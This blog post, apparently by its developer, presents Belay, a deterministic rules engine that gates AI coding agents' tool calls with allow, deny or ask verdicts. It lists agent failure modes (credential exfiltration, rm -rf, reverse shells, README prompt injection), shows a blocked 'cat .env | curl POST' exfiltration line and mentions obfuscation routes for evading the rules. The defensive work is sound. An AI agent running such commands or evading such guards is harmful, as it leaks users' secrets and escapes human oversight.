&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnc4o3zge1122aktreoff.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnc4o3zge1122aktreoff.jpg" alt=" " width="800" height="541"&gt;&lt;/a&gt;&lt;br&gt;
So the failure modes aren't exotic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secret exfiltration&lt;/strong&gt; — the agent reads &lt;code&gt;~/.aws/credentials&lt;/code&gt; or &lt;code&gt;.env&lt;/code&gt; and pipes it to a URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destructive commands&lt;/strong&gt; — &lt;code&gt;rm -rf&lt;/code&gt; against the wrong path; a "cleanup" that isn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse shells / C2 egress&lt;/strong&gt; — an outbound connection to somewhere you didn't approve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection → action&lt;/strong&gt; — a poisoned README says "run this to set up the project," and the agent does.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The important structural detail: everything the agent does to the outside world goes through &lt;strong&gt;one choke point — the tool call&lt;/strong&gt;. That's where intent becomes action, and that's where I think enforcement belongs.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why not "an LLM to guard the LLM"
&lt;/h2&gt;

&lt;p&gt;The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. I think that's the wrong layer for a hard security boundary, for three reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Non-determinism.&lt;/strong&gt; The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency.&lt;/strong&gt; A model round-trip on every tool call is too slow to sit synchronously in the hot path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's part of the attack surface.&lt;/strong&gt; The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating.&lt;/p&gt;
&lt;h2&gt;
  
  
  Where Belay sits
&lt;/h2&gt;

&lt;p&gt;Belay wires in at the tool-call boundary two ways, so it's agent-agnostic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hooks&lt;/strong&gt; — for agents with a native hook system (Claude Code, Codex), it registers &lt;code&gt;PreToolUse&lt;/code&gt; / &lt;code&gt;PostToolUse&lt;/code&gt; hooks. Every tool call is evaluated &lt;em&gt;before&lt;/em&gt; it runs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP proxy&lt;/strong&gt; — for anything speaking the Model Context Protocol, Belay sits inline as a proxy, so every &lt;code&gt;tools/call&lt;/code&gt; passes through it first.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One installer auto-detects what you already run — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, OpenClaw, opencode — and wires in the right way for each. It runs as your user (never root) and never phones home.&lt;/p&gt;
&lt;h2&gt;
  
  
  How it decides — deterministic, no LLM
&lt;/h2&gt;

&lt;p&gt;When a tool call arrives, Belay classifies it against a compiled rule catalog and returns one of three verdicts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allow&lt;/strong&gt; — clearly safe. Runs silently, no prompt fatigue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny&lt;/strong&gt; — clearly dangerous (secret exfil, &lt;code&gt;rm -rf&lt;/code&gt;, reverse shells, injection-driven calls). Blocked outright.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask&lt;/strong&gt; — genuinely ambiguous. Pauses and asks a human (more on that below).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two properties matter most:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No LLM in the decision path.&lt;/strong&gt; It's a deterministic rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed.&lt;/strong&gt; If evaluation errors, times out, or a call can't be classified, the result is &lt;strong&gt;deny&lt;/strong&gt;, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is &lt;code&gt;Deny &amp;gt; Ask &amp;gt; Allow&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conceptually, a blocked call looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tool call:  bash  →  &lt;span class="nb"&gt;cat&lt;/span&gt; .env | curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://unknown.host &lt;span class="nt"&gt;-d&lt;/span&gt; @-
verdict:    DENY  &lt;span class="o"&gt;(&lt;/span&gt;secrets.egress&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;in &lt;/span&gt;6ms
reason:     reads a sensitive credential file and sends it to an external host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing about that decision involved another model. It's a rule, and you can read it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ask path: one-tap Allow/Deny, from your phone
&lt;/h2&gt;

&lt;p&gt;Not everything is clear-cut. Should the agent be allowed to &lt;code&gt;git push&lt;/code&gt; to this remote? Install this package? Write outside the project directory?&lt;/p&gt;

&lt;p&gt;For those, Belay's verdict is &lt;strong&gt;Ask&lt;/strong&gt; — it pauses the agent and sends you a one-tap &lt;strong&gt;Allow / Deny&lt;/strong&gt;. Not just in the terminal: over &lt;strong&gt;Telegram, Discord, WhatsApp, Matrix, Mattermost, or Slack&lt;/strong&gt;. So you can let the agent keep working while you're away from the keyboard and just tap "deny" when it wants to do something you didn't intend. If you don't answer in time, it &lt;strong&gt;auto-denies&lt;/strong&gt; — fail-closed again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coverage you can reason about: OWASP, MITRE, SARIF
&lt;/h2&gt;

&lt;p&gt;Because the rules are explicit, findings map to frameworks instead of vibes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rules are tagged to the &lt;strong&gt;OWASP Agentic Security Initiative (ASI) Top 10&lt;/strong&gt;, the &lt;strong&gt;OWASP LLM Top 10&lt;/strong&gt;, and &lt;strong&gt;MITRE ATLAS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Verdicts and scan findings export as &lt;strong&gt;SARIF 2.1.0&lt;/strong&gt;, so they drop into the code-scanning tools your CI already understands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's also a static scanner for code/skills &lt;em&gt;before&lt;/em&gt; you install them, a hash-chained (tamper-evident) audit log, and honeypot canaries — but the tool-call boundary is the core.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limits — where I'd want you to push
&lt;/h2&gt;

&lt;p&gt;I'd rather tell you what this &lt;em&gt;doesn't&lt;/em&gt; do than get called out for it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It's a policy layer, not a sandbox.&lt;/strong&gt; It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Defense-in-depth still wants containers or VMs underneath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic rules mean an evasion arms race.&lt;/strong&gt; Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a real surface. I'd genuinely like input here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human-in-the-loop trades security for UX.&lt;/strong&gt; Too many "Ask" prompts and people click through them. Tuning the allow/ask/deny line is ongoing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;curl -fsSL &lt;a href="https://dl.belay.secblok.io/install.sh" rel="noopener noreferrer"&gt;https://dl.belay.secblok.io/install.sh&lt;/a&gt; | bash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or grab the desktop app / see the docs at &lt;strong&gt;&lt;a href="https://belay.secblok.io" rel="noopener noreferrer"&gt;belay.secblok.io&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;https://github.com/SECBLOK/belay&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discord:&lt;/strong&gt; &lt;a href="https://discord.com/invite/pySdeDFy6y" rel="noopener noreferrer"&gt;https://discord.com/invite/pySdeDFy6y&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you run agents unattended, I'd love your feedback on two things specifically: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The block/allow rules are in the open — come argue with them, break them, and PR the ones I missed.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
      <category>devtool</category>
    </item>
  </channel>
</rss>
